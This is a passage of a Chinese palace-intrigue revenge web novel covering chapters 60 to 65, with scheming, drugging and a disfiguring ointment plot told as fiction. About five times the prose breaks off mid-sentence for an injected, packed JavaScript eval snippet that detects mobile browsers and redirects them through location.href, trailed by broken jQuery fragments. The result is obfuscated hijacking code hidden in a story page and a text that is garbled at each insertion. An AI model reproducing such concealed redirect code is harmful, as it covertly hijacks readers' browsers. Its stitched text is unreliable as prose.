她这一晕,惊得李氏忙叫大夫。
姜清屏和定远侯爷停止了争吵。
“大嫂,明日你们再留一日吧。待到这事商议出章程,再离开吧。”定远侯做出了决定。
“用得着你说。”姜清屏现在对
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15588308|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
定远侯府一家都是一肚子气,看谁都不顺眼。
她扯着儿子就离开了。
而后连夜写信让人送回青州,将此事原原本本地告知夫君。
好让他知晓,他的好外甥女究竟做了什么。
定远侯让人看好晏明月,不许她闹自尽。
“若二小姐出了任何差池,你们都得跟着陪葬。”
甩下这么一句话,定远侯烦躁地回了自己的院子。
这一刻,他格外想念阮寄薇。
阮寄薇如同一朵解语花,和她待在一起,他感觉自己好似年轻了十几岁,仿佛回到少年时,所有烦心事都烟消云散。
如今,他只盼着快点将温家人送走,好接阮寄薇过门。
*
当夜,定远侯府灯火未灭,人人无法安眠。
打了一场胜仗,晏逐星满意地让小厨房做了夜宵加餐。
天气冷了,睡前来一碗热乎乎的茯苓牛乳羹很是舒服。
她坐在桌前,慢条斯理地用餐,一旁的双鲤没忍住问出了好奇已久的问题。
“小姐,您都知道二小姐往酒里下了药,您怎么还喝了呀?您就不怕出事吗?”
他们知晓了倒酒的那个丫鬟被二小姐收买后,就一直盯着她,看她什么时候会动手脚。
果不其然,在表少爷走之后,她就偷偷往酒里加了东西。
她瞧见后,抢先一步告知了九栀,让九栀转告小姐。
没想到小姐接过酒壶,亲自给自己倒了一杯酒,喝了下去。
当时可把她给吓坏了。
“答案就在此壶中。”晏逐星笑意盈盈,指着桌上被替换回来的酒壶。
“这壶也没什么特别的呀。”双鲤捧着酒壶看来看去,看不出个所以然来。
九栀和衔蝉也好奇地凑了过来,三人愣是没一个看出问题的。
“小姐,您就别藏着掖着了,您比我们都聪明,您就告诉我们吧。”双鲤扯着她的手撒娇。
“您要是不说,今夜一整晚我都要睡不着了。”
第61章 侯府又出事
晏逐星将最后半勺牛乳羹咽下,放下了手中的白瓷匙,笑着将那个酒壶接过来,拇指在壶腰凸起处拨弄了一下。
只听“咔哒”一声响。
原本该倒出的琥珀色酒液竟成了透明无色的泉水。
三人都惊讶地瞪大了眼睛。
原来是壶中藏着两重天地,轻轻一拨机关就换了里边的东西。
“怪不得小姐让我将酒壶给提前换了呢。”九栀喃喃自语,“这可真是个好东西。”
晏逐星笑眯眯地点头:“那当然啦,我亲手做的东西,能不好吗。”
上辈子,她在军营里喝酒喝不过别人,便央着军器监出身的军中好友萧檀帮她想出了这么一个**的法子,悄悄将酒壶给改造了一番。
只需轻轻按下凸起的位置,两重酒室在壶腹内就可以不露痕迹地调换方位。
见识到这精妙的机关后,九栀猛地想起了被她捆起来的那个小丫鬟。
“对了,小姐,那个芙儿要怎么处理呀?”
晏逐星略一思忖,开口道:“将她放了。”
“放了?万一她要是把九栀姐姐绑她的事情说了怎么办?”双鲤顿时急了。
“无所谓。她说了也不会有人信的。”晏逐星微微一笑。
晏明月的话定远侯他们都不信,何况一个小丫鬟的话。
就该让她也尝尝百口莫辩的滋味。
就像上辈子她被所有人当成疯子一样,现在该轮到晏明月体验什么叫绝望了。
而且,再弄死一个丫鬟引得裴明镜找上门来,那可就不妙了。
她如今得罪了他的母亲,还是离他远远的好。
“是。”九栀没想太多,小姐让放人她就放人了。
芙儿被扔到了瑶华院的狗洞附近。
声响引起了院里洒扫丫鬟的注意。
“是芙儿!”
她惊呼一声,让晏明月猛地站了起来。
“把她带上来。”她咬牙切齿地下令。
她要知道,之前究竟发生了什么,她为什么会失败。
芙儿还在昏迷,被一瓢冷水浇到了脸上,瞬间冻醒。
“二、二小姐。”她哆哆嗦嗦地开口。
“说,究竟发生了什么事?”晏明月脸上满是狠辣。
先前被掀翻的伤痕让她此刻看起来更加恐怖了。
“我一切都按照您的吩咐去办的呀,是大小姐的丫鬟将我打晕了。”芙儿哭着开口解释。
晏明月脸色愈发阴沉,她猛地将茶盏摔到地上。
茶盏碎裂的声音让众人都哆嗦了一下。
晏明月弯腰捡起一块碎瓷片,盯着芙儿的脸。
芙儿一瞬间感觉自己好像被一条阴冷的蛇给盯上了。
她浑身控制不住地颤抖,晏明月捏着她的下巴,冷笑:“真是个没用的东西。”
预感到危险来临,芙儿连连求饶:“二小姐饶命呀,二小姐我错了,您饶了我这一回吧。”
“晚了。”晏明月抬手将碎瓷片划破了芙儿的脸。
芙儿惨叫一声晕了过去。
晏明月这才将染血的瓷片扔到地上,冷冷道:“将她抬走,别让她**。否则她的下场,就是你们的下场。”
“是。”丫鬟们不敢多言,急忙将屋内的狼藉给收拾干净。
经历了今夜的打击,晏明月反倒冷静了下来。
是她小瞧了晏逐星,以为她还是从前的废物,没想到她竟然已经成长到了这样的地步,还找到了不少帮手。
她看着铜镜里的自己,摸了摸脸上的伤疤,一字一句道:“晏逐星,我不会放过你的。”
她也不会就这样被击垮的。
她是侯府的真千金,她比晏逐星尊贵百倍千倍。
她一定要过得比她更好。
*
定远侯府的热闹,停云瞧得是一清二楚。
他风风火火地跑回了永安王府。
“王爷,定远侯府又出事了。”
“又出什么事了?”谢翊宁继续看着照夜送回来的证据,头也不抬。
停云迅速道:“侯府二小姐和侯府表少爷行苟且之事被人当场逮住了。”
“说重点。”谢翊宁不耐烦地抬头。
一旁的照夜疑惑地皱紧了眉头,这种琐事停云告诉王爷做什么。
他不在京城里的这段时间,究竟发生了什么事?
停云小心翼翼地补充:“此事应当是晏大小姐暗中谋划的。她尚未及笄,就有如此心机,往后……”
他没说完,但却忍不住摇头。
若以后他娶的是这样一个满是心机的女人,他怕是活不过三朝回门。
谢翊宁挑眉,露出了骄傲的笑:“不错。尚未及笄就有这样的手段,足以见得她的聪慧。日后她若是嫁了人,本王也不必担心她在后宅受人欺负了。”
停云:……
得,白说了。
他就知道王爷眼里晏大小姐什么都好,做什么都是对的,他真是多此一举。
照夜:???
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15588309|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
什么情况,他彻底听迷糊了。
先前他还以为王爷看上的是定远侯府的二小姐,后来又以为是大小姐,但怎么听着王爷的意思是想让大小姐嫁给别人?
“行了。侯府那边有衔蝉在,你不必时常盯着了。本王还有更重要的事情要办。”谢翊宁知道晏逐星打赢了这场“仗”,便放心下来没有细问,而是说起了正事。
“明日照夜随本王一块入宫,见父皇。”
照夜从南阳带回了当地官员修水坝贪赃枉法的证据,他得将证据交给父皇。
他记得上一世在太子妃嫂嫂诞下女儿的次年四月中旬,南阳连下了七天七夜的暴雨,堤坝被洪水冲垮,成千上万的百姓流离失所,**不少人。
尸体堆里滋生的瘟疫又夺走一城人的性命
同年六月,许州大旱,地缝裂得能吞人。粮食锐减,百姓被渴死饿死。
连着遭遇了两次天灾,坊间流传起父皇失德招来天谴的谣言,御史们捧着万民书,硬要父皇下罪己诏。
明明父皇上位以来勤政爱民,为百姓做了不少好事,到头来却要被泼上无道昏君的脏水。
重活一世,他一定要保住父皇的名声,更要救下那些本该好好活着的百姓。
*
翌日清晨,定远侯府笼罩着一股压抑的气息。
温如霜醒后,独自垂泪到天明。
自打她瘫痪后,侯府好像就变天了。
一桩桩一件件的事情,几乎都在把她往绝路上逼。
女儿和娘家,她真的不知道该怎么选。
此事确实是女儿挑起的祸端,但女儿也确实失了身,这事她真的进退两难。
要是昨夜和温韫颠鸾倒凤的是晏逐星就好了。
那她根本就不用纠结,直接将晏逐星以勾引表兄的名义逐出家门。
“怎么出事的不是那个贱丫头。”温如霜狠狠将筷子拍到桌上。
周边伺候她用膳的丫鬟瑟瑟发抖,紧紧抿唇,不敢发出半点声音,生怕触怒了她。
温如霜深吸一口气,询问道:“二小姐呢?可曾用过膳了。”
“二小姐绝食了。”丫鬟小心翼翼地回答。
温如霜感觉头更痛了。
这种时候,绝食有什么用。
偏偏这个时候,姜清屏还找过来了。
“小妹,你们该给我们一个说法了吧。”她冷冷开口。
温如霜意识到,娘家和女儿,她必须做出一个决断了。
第62章 做妾又如何
“嫂子,昨夜之事,是我们先对不起你们。”温如霜放软了姿态。
若明月嫁过去,嫂子就是婆婆,她若针对明月,那明月就真的是有苦说不出了。
毕竟婆婆管教儿媳,天经地义。
姜清屏冷着脸没说话。
一句轻飘飘的对不起可没法平息她的怒火。
一大早,她就派人出去打听了晏明月和威宁侯的事情,打听完她几乎要吐血了。
威宁侯府老老少少都不要的人,现在硬要塞给她儿子当正妻,她是绝对不会同意的。
见她不回应,温如霜只能硬着头皮道:“嫂子,明月还小,犯了糊涂,你就原谅她这一回吧。毕竟怎么说,你都是她的亲舅母啊。”
“行啊,我原谅她,这事就当没发生过。”姜清屏斩钉截铁地回答。
温如霜脱口而出:“那怎么行。”
“难不成你还想让韫儿娶她当正妻?”姜清屏拔高了音调。
“林家那边我们早就定下亲事了,不可能换儿媳妇。”
“平妻不行么?”温如霜伸手去拉她的手。
“嫂子,如今错误已经酿成,你若不让韫儿娶明月,她就没有活路了呀。她只能绞了头发当姑子去。”
温如霜说着眼泪就掉了下来。
但姜清屏不吃她这一套,直接甩开她的手。
“林家也不是什么小门小户,人家断然不会同意平妻的。最多让她给韫儿当妾。”
温如霜早就预料到了这个结果。
她心如刀割,让她精心教养的女儿去当妾,她是万万不愿的。
可如今明月已经是韫儿的人,他若不要她,日后她还怎么办。
“嫂子,你说这话不是往我心上戳刀子么。”温如霜不停地抹眼泪。
“我一个将死之人,只希望孩子过得好,让明月去当妾,我还有什么颜面面对侯府列祖列宗啊。”
她晏明月能干出那样不要脸的事情就已经够对不起侯府的列祖列宗了。
姜清屏在心里冷笑。
但面上她还是放缓和了语气。
温如霜如今是侯府主母,对温家还是很有助益的。
“小妹,做妾又如何,只不过是一个称呼罢了。她就算给韫儿做妾,但实际上还是温家的外孙女啊。林家姑娘即便嫁过来,当做正妻,也是不敢欺负她的。”
温如霜被她这番话说动了。
“嫂子,你容我想想。”
“行,你慢慢想,此事宜早不宜迟,你最好早点做决定。”姜清屏松了一口气。
温如霜把晏明月叫了过来,把姜清屏的意思告诉她。
“娘,我是侯府嫡女,怎可当妾!”晏明月立刻不愿意。
“你听娘说。趁着那个姓林的没嫁过来之前,你好好笼络你表哥的心。男人的心在你这,你就什么都不用担心。”温如霜把道理掰开揉碎了告诉她。
“只是暂时不能当正妻而已。若林家姑娘入门后没了,扶你为正妻也是迟早的事。”
晏明月顿时明白了娘亲的言外之意。
她仔细思索了起来。
此事,或许可行。
“好,娘亲,我听你的。”晏明月重重点头。
听到这话,温如霜总算松了一口气。
女儿肯听劝就好。
令他们母女二人没想到的是,定远侯和晏明远兄弟俩竟然都反对让她去给温韫做妾。
“简直丢人现眼,我绝不同意。”定远侯一想到亲女儿自甘堕落给人当妾就一肚子的火。
“表哥怎么能这样对明月。他们都有了夫妻之实,就该娶明月为正妻!”晏明修替妹妹打抱不平。
晏明远也不舍得让她去当一个妾侍,但事情又因她而起,他实在是不知道该说什么,只得叹息一声。
“事已至此,我已经别无选择。至少表哥愿意要我。”晏明月无声落泪。
木已成舟,他们也想不出更好的解决办法,最终还是听了温如霜的,按照原计划让晏明月跟着姜清屏母子一块去青州。
温如霜放心不下,怕她在路上受欺负,让晏明远兄弟二人一块将她送过去。
但晏明修不肯,他还是无法接受亲妹妹去给表哥当妾这件事。
最后只有晏明远跟着他们一块走了。
晏逐星坐在轮椅上,静静地看着马车离去的影子。
九栀出声提醒:“小姐,真就这样放过她了么?”
“放心吧,给她送的大礼她很快就要收到了。”晏逐星勾唇,微微一笑。
她给晏明远的那瓶玉肌膏,她重新挖出来填充了一遍。
上边都是宫里出来正儿八经的玉肌膏,而最底下的那一层,她混了让人毁容的药膏。
她很清楚,按照晏明远疼爱晏明月的程度。
他拿到玉肌膏之后一定会把药送给晏明月的。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15594229|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
算算时间,晏明月也快用到底了。
不知道等温韫看到容貌全毁的晏明月,还愿不愿意让她当妾。
想到那个场景,晏逐星心情美得不行。
这段时间晏明远不在,温如霜又瘫了,定远侯还沉迷于阮寄薇的温柔乡,正是对晏明修下手的好时机。
是时候该好好计划计划了。
*
谢翊宁领着照夜去了御书房。
文昭帝正和太子谢元宸在商议朝政要务。
“儿臣见过父皇,见过太子哥哥。”
“小石头今日怎么有空入宫来了?”文昭帝笑呵呵地看着儿子。
“有十万火急的事情要告知父皇。”谢翊宁将收罗来的证据命人呈上了御案。
“什么事让我们小石头这般严肃?”文昭帝一开始还有心思调侃儿子,但翻看那些证据,看着看着脸上的笑容就渐渐消失了。
谢元宸看着父皇变化的表情,忍不住皱起了眉头。
到底什么事,让七弟这么着急地送入宫,还让父皇露出这么凝重的表情。
“这群混账!”文昭帝看完后,将那一沓证据狠狠拍在桌上。
震得一旁伺候的太监宫婢们慌忙跪下,高呼:“皇上息怒。”
“石头,到底发生什么事了?”谢元宸忍不住开口询问。
“照夜,你来说。”谢翊宁微微抬起下巴。
“是。”照夜应了一声,便将自己奉命去南阳调查的事情都说了出来。
南阳是太后的祖荫之地。
偏那知府仗着太后族亲的名头,把修堤的银子吃了三成空饷。糯米灰浆掺沙,青石料换土坯,堤坝看着威风,实则比女子用的香粉还虚。
他一脚踹在坝体上,就簌簌往下掉渣,裂缝里还爬出好几窝白蚁。
若是下了暴雨,冲垮堤坝,那整个南阳以及下边的州县,全都要完蛋。
听完他的话,太子谢元宸也变了脸色。
这可是关乎万千黎民性命的大事。
谢翊宁撩袍跪地,朗声道:“父皇,必须彻查这群蛀空堤坝的蠹虫,还要即刻征召八府河工重修南阳堤坝。若不及时重修,待到三月暴雨来袭,洪水滔天,那可就晚了。”
文昭帝点点头,而后一脸疑惑地看着他:“石头,你是怎么知道南阳有官员贪墨的?还有,你说的三月会有暴雨引发洪灾,又是怎么一回事?”
第63章 上战场真相
谢翊宁来之前就已经猜到了父皇肯定会问这个问题。
他扫视了周围一圈,文昭帝顿时会意。
“太子和永安王留下,其余人等全都退下。”
待到御书房只剩下他们父子三人,谢翊宁这才开口。
“父皇,太子哥哥,儿臣做了一个梦。”
“梦?”文昭帝和太子同时一懵。
一个梦就让他大张旗鼓地去调查这件事,听起来怎么那么不靠谱呀。
“石头,你可不许糊弄父皇,不然父皇可是要让你禁足的。”文昭帝伸手轻轻戳了戳他的眉心。
“儿臣才没有糊弄您呢。”谢翊宁一脸认真。
“那日,我做了一个梦……”
他把上辈子的经历说成了做梦。
上辈子,国师断言他活不过二十岁。
于是在距离他二十岁生辰还有两个月时,他收拾行囊离开京城去了边关。
那会儿北境刚被霍家军打残了主力,但朝堂上主和派却称这场仗打了太久劳民伤财,逼父皇签两国五年互市条约。
他算准蛮族是外强中干,他们的王帐存粮压根撑不过今冬,全靠和谈骗大虞开边市救命。
若他死于北境蛮族之手,主和派当场就得闭嘴,再也不能逼迫父皇签订那个破条约。
霍家军就能名正言顺推平蛮族最后的粮仓。
而且他也不想死在父皇母后的面前。
横竖都是个死,他这副身子骨总要值回票价。
等北境蛮子的弯刀捅穿他的心脏,大虞的铁骑就有了名正言顺撕毁和谈的由头。
用他这条该绝的命,换边境三十年太平。
实在是再划算不过了。
“那支箭穿心之时,你一定很疼吧?”谢元宸听完喉间有些哽咽。
这是他一母同胞弟弟,从小就跟在他后边一口一个哥哥的叫着。
打小有什么好吃的旁人他都不给,就给他。
所有的好东西都让他先挑。
得知七弟活不过二十岁,他不止一次跪在国师面前,求国师想法子,让弟弟多活几年,他愿意与七弟平分寿命。
但国师自始至终都是同一句话。
“生死簿上朱笔已落,殿下莫再强求。”
后来,国师干脆闭关不见任何人。
“太子哥哥,都说了只是一场梦而已。怎么会疼呢。”谢翊宁眼尾倏然挑起三分笑意。
若不细看,看不到他眼底藏着的泪。
“你不疼,你皇兄心疼,朕这个当父皇的听了也心疼。”文昭帝瞪了他一眼。
谢翊宁嘿嘿一笑后拱手行礼:“这个梦太过真实,再加上父皇给令仪取的名字也和梦中一样,儿臣便派人去查了梦里的事情。发现南阳知府竟然真的贪墨枉法,堤坝也没有好好修建,因此儿臣斗胆猜测那场暴雨和后边的干旱都是真的。”
“还请父皇信儿臣一回,早做决断。”
文昭帝沉默着没说话,像是在思索着这事到底有几分可信。
谢元宸垂眸沉吟半晌,缓缓开口:“父皇,国师曾断言七弟活不过弱冠之年,莫非正因七弟身负窥探天机之能,方致阳寿折损?儿臣认为,七弟说的预知梦很可能是真的。事关万千黎民百姓的性命,还是宁可信其有不可信其无啊。”
太子这番话让谢翊宁松了一口气。
他们能自己给他找理由就最好不过了。
他还怕他们不信呢。
若他们不相信他说的话,他就要撒泼打滚逼着父皇下旨了。
反正父皇母后兄长都最疼他,他闹上一闹,他们肯定就妥协了。
文昭帝严肃着开口:“此事事关重大,除了咱们仨和你们的母后,不许对其他人透露石头有预知能力一事。”
谢元宸和谢翊宁同时点头。
此事若传出去,定然会引来有心人的试探,到时候麻烦可就大了。
“父皇,那修建堤坝,开凿水渠,预防旱灾一事,您考虑得如何了?”谢翊宁忍不住询问。
“放心吧,此事父皇会找到一个合理的借口,不会让人怀疑到你头上的。”文昭帝慈爱地看着小儿子。
于是几日后,皇陵传来了异响。
满朝文武百官们都疑惑为何皇陵会有动静。
文昭帝在朝堂上大发雷霆,将谢翊宁给的南阳知府贪墨枉法的证据砸到了他们面前。
“一群混账。若不是先帝震怒,托梦告知朕南阳堤坝偷工减料一事,你们还想瞒着朕多久?!”
百官当即下跪求皇上息怒。
文昭帝趁机把四月暴雨和六月大旱的事情,借着先帝托梦的名义说了出来。
他当即下令命工部户部速筹石料、工匠,从江南各地转运物资去南阳储备。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15594230|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
快要过年了,冬日严寒,不适合开工。
于是便安排人等到二月初开春后,祭了河神再开工,沿河五县的壮丁都要参与修堤。
这事传得沸沸扬扬,晏逐星也知道了这个消息。
她也想起了那一年南阳暴雨,许州大旱的事情。
她越发确定谢翊宁也重生了的事实。
她决定日后行动一定要小心谨慎,省得谢翊宁知道她也重生了,怕她泄密对她痛下**。
晏逐星仔细回想明年还会发生什么事情。
那年六月许州大旱,京城也比往年更早迎来酷暑,五月末的日头就毒得反常,待到六月更是热得人发昏。
街巷石板蒸腾着热气,走到庭院不过半刻钟,汗水便顺着脊背往下淌,仿佛整个人都要被晒化在青砖路上,衣裳都是湿漉漉的。
回想起前世的定远侯府,窖藏的冰块全被温如霜母女独占,她连半块都分不到。
最热的那几日,她整夜躺在竹席上辗转难眠,接连中暑了好几次。
如今有幸重来,这回说什么也要提前备足冰块,绝不再受这蒸笼般的苦楚。
勋贵之家,家家户户都要存冰,她以定远侯的名义去存冰,应该不会被发现异样。
晏逐星命人拿了算盘来,噼里啪啦拨起算珠。
如今雇人开凿冰块的市价是二十文一方,侯府冰窖约莫能塞进两千方。
待到盛夏六月,估计还能存下千余方。
横竖那时定远侯府上下也死得七七八八了,这些冰足够她摇着团扇吃冰镇杨梅。
若是再盘下城西那处空宅当储冰所,屯上五千方冰。
等到六月再转手将冰卖给京里那些金尊玉贵的世家,平日二两银子一方的冰,就算翻倍卖到四两银子,也有人抢着要。
刨去杂七杂八的开支,少说能净赚七千两白银。
这买卖可比侯府那些铺子来钱快多了。
要知道府里最红火的那个香粉铺子,一年下来,最好的时候也只挣了千两白银。
算完这一切,晏逐星心动了。
这门生意,她觉得可以赌一赌。
她手里只有皇后赏赐的一万两白银,她不能坐吃山空,得想想办法。
毕竟无论是复仇还是寻找家人,处处都要花银子。
只是她一时间有些犯难,这事该交给谁去办呢。
第64章 明月要疯了
她手底下得用的都是姑娘家,可要论跟码头脚夫砍价、同油滑商贩周旋,终究缺个牙尖嘴利的少年郎。
偏生倒卖冰块这事最怕走漏风声,必要找个嘴比铁锁还严实的。
思来想去,她决定去一趟烈国公府——借人。
“你想要一个能帮你跑腿办事的小厮?”烈国公夫人有些惊讶。
“是。”晏逐星点头后,垂眸看向手里的热茶。
“干娘您是知道的,我并非侯府亲生子,待来日出阁怕是连妆奁都要被克扣。如今找您借人,是想学着攒些体己钱。来日挣了银子,也好孝敬干爹干娘和哥哥。”
烈国公夫人听到这话,心疼不已。
“放心吧,有我和你干爹在,我们定会让你风风光光出嫁。”
“我知道你们对我好。”晏逐星忙抬头解释,“但我总不能什么都靠你们,那样也太不要脸了。干娘,您就借个可靠的人给我就好。”
“好。干娘保准给你找个靠谱的人。”烈国公夫人拍了拍她的手背,思索片刻后,扭头看向了身后的嬷嬷。
“张嬷嬷,我记得你那小孙子,今年也有十七了吧。”
“是。那孩子往日里帮管家跑腿呢。”张嬷嬷忙点头。
“那我让他去替星儿办事,你可愿意?”烈国公夫人又问。
“能给小姐办事,是他的福气。”张嬷嬷笑着应下。
不一会儿,烈国公夫人就把张小乙叫了过来。
“从今往后,你便给小姐办事,小姐让你做什么你就做什么,不得违背,你可记住了?”
“小的记住了。”张小乙没有任何不满。
他心里门清。
世子爷是个傻的,小姐是个得宠的,日后呀,这国公府保不准是这位国公夫人的义女做主。
跟着她走,只会有大造化。
烈国公夫人将张小乙的身契交给了晏逐星,晏逐星郑重收下。
随后陪着尉迟敦凿冰捞鱼,玩了一下午后,方才离开。
临走前,她和烈国公夫人提了多囤点冰的事情。
烈国公夫妇上了年纪,热不得,尉迟敦瞧那体格也是怕热的,若是明年冰少了,肯定难捱。
“放心吧,每年咱们这时候都会存冰的。”烈国公夫人笑呵呵地应下。
“这不是皇上说了么,六月许州会大旱。我怕到时候京城也热起来,冰不够用。您呀,若是能多囤些,就多囤些吧。”晏逐星再次提醒。
这下烈国公夫人听进去了。
“你说得有道理,干娘会让人去办的。”
送走晏逐星后,她找来夫君商议多囤点冰的事情。
烈国公想了想,开口道:“往年都囤三千的冰,今年再加点,囤到五千吧。”
“我看行。”烈国公夫人赞同地点了点头。
他们也不差银子,多囤点就多囤点吧。
回到了侯府,晏逐星先让张小乙去办了几件小事。
见他办得不错,口齿伶俐,是个机灵又忠心的下属,这才让他去置办带着冰窖的院子,然后请人凿冰。
自打阮寄薇被接入侯府后,温如霜已经许久没有来找她的麻烦了。
晏逐星过上了难得的闲散日子。
每逢双日她便往烈国公府去,陪尉迟敦玩各种游戏吃饭,余下时辰全泡在玉澜院里。
左腿还使不上劲,她就拄着木拐杖练定身射。
院子里的箭靶子都快被她扎成刺猬了,准头一日比一日更好,晏逐星对此十分满意。
她的小日子过得美妙,但晏明月却要疯了。
这一日,她是被脸上的灼烧感给疼醒的。
她伸手摸了摸脸,指尖刚触到结痂处便僵住了。
本该平滑的肌肤底下,此刻竟蠕动着蜈蚣般凸起的瘢痕。
“把铜镜拿来!”她踹开锦被睡在地上的丫鬟莲儿大吼。
莲儿慌慌张张去翻妆奁,转身时却像被雷劈中似的踉跄后退好几步:“小、小姐……”
“作死的东西!”晏明月扯过纱帐起身,就瞧见莲儿用袖口死死捂着嘴。
她一把抢过莲儿手里的铜镜,铜镜里映出的画面让她瞳孔骤缩。
她的脸上满是暗红色的扭曲疤痕,像被人用烧红的铁丝烫过,她的脸变得比那日刚划破时还要恐怖。
“不,不可能。”她将手中的铜镜狠狠砸到了地上,妆奁里的胭脂水粉也尽数被她掀翻。
“怎么了,明月,可是出什
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15601677|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
么事了?”晏明远听见动静,从客栈另一间屋子里走了出来。
还有两日,他们就要抵达青州了,这个时候,妹妹可不能再出岔子。
听到他的声音,晏明月踉跄着扑向雕花门,后背死死抵住门板:“不许进来!”
她如今这副模样,谁看了都会作呕的。
不,她不能让任何人瞧见她如今的模样。
她宁可**,也不要这样出现在别人面前。
“究竟出什么事了?”她情绪越激动,晏明远越是担忧。
他忍不住推了一把大门。
不曾想,没推动。
晏明月将身子贴门贴得更紧了,她厉声道:“你要是敢闯进来,我就撞死在梁柱上!”
听到这话,晏明远往后退了一步,赶忙道:“大哥不进去,你告诉大哥,出什么事了?”
“那玉肌膏有问题,肯定是晏逐星要害我!!!”她激动大叫。
晏明远听到这话,皱起了眉头:“玉肌膏乃是皇后娘娘钦赐,你之前不是用这药膏养好了七八分,如今怎么又怪到星儿头上了。”
“就是她,除了她不会有人害我。”晏明月根本听不进任何的话。
她只知道,完了,一切全完了。
这些日子,她伏低做小,好不容易将表哥的心笼络了过来。
而今她变成这个模样,若是被他看到,他一定会毫不犹豫地将她抛弃。
两人的动静把姜清屏母子也引来了。
“大清早的,又在闹什么?”姜清屏面露不悦。
“明月只是有些想家了,还请舅母不要计较。”晏明远赶忙替妹妹辩解。
听到姜清屏的声音,晏明月深吸一口气,强迫自己冷静下来。
“舅母,我没事,你们先去用早膳吧。我有事,想和大哥单独说会话。”
“行吧。”姜清屏也懒得掺和他们的事情,领着儿子下楼用早膳。
待会他们还得继续赶路呢。
晏明月冷冷地看向莲儿:“你到角落去,没有我的吩咐,一句话也不许说。”
莲儿慌忙点头,退至角落。
晏明月紧紧咬着嘴唇,直到嘴里传来了血腥味,她终于下定决心,打开了门。
第65章 远走高飞了
门打开的那瞬间,晏明远顿时变了脸色,脱口而出:“明月,你的脸……”
晏明月一把将他拽到屋子里,关上门,破罐子破摔。
“看清楚了吧,我的脸全毁了,都是晏逐星害的。”
晏明远本想反驳,但是晏明月的脸已经变成这样,他又说不出口了。
这种时候说这些话,无异于在明月的伤口上撒盐。
他只得安抚她:“别怕,大哥这就去给你请大夫。”
晏明月拽住想要离开的他,声嘶力竭地大吼:“这穷乡僻壤能找到什么好大夫,京城里的太医都未必能治得好。”
晏明远哑口无言。
晏明月捂着脸痛哭了起来。
她一边哭一边道:“如今我的脸全毁了,便是做妾,表哥也不会要我了。呜呜呜呜呜。”
这事情发生得太突然,打了他一个措手不及。晏明远站在一旁干着急,不知道该怎么办。
“不会的,抛去给他当妾,你也是还是侯府嫡女,他们不敢苛待你的。”他干巴巴地安慰着哭得涕泪横流的妹妹。
晏明月哭了好一会儿,方才止住眼泪。
她低着头小声道:“大哥,你能不能帮我说服舅母和表哥,我们再在昌乐县待上一日?我想出门去寻大夫瞧瞧脸。”
“行。”晏明远毫不犹豫的答应了下来。
待到他离开,晏明月便领着莲儿出了一趟门。
直到夕阳西下时,她才回到客栈。
“你去哪了,怎么去了那么久,你知不知道你快把我们吓**。”见到她回来,晏明远松了一口气,对着她劈头盖脸就是一顿骂。
晏明月戴着帷帽,姜清屏母子看不清她的脸。
她柔柔地说了声:“我身子不适,去看了大夫,误了时辰,让舅母、表哥还有大哥担心了。”
“已经听你大哥的,在这待了一整天了,明天必须回青州。”姜清屏冷冷开口。
“是,一切都听舅母安排。”她顺从地应下。
“今夜我亲自下厨,给诸位赔罪。”
“那怎么使得,这样的粗活用不着你来做。”温韫上前一步,心疼地握住了她的手。
“怎么使不得了。这一路,舅母和表哥照顾我良久,我理该给你们做顿饭道谢的。”晏明月十分坚持。
“行了,她愿意做就让她做吧。”姜清屏没有继续阻拦。
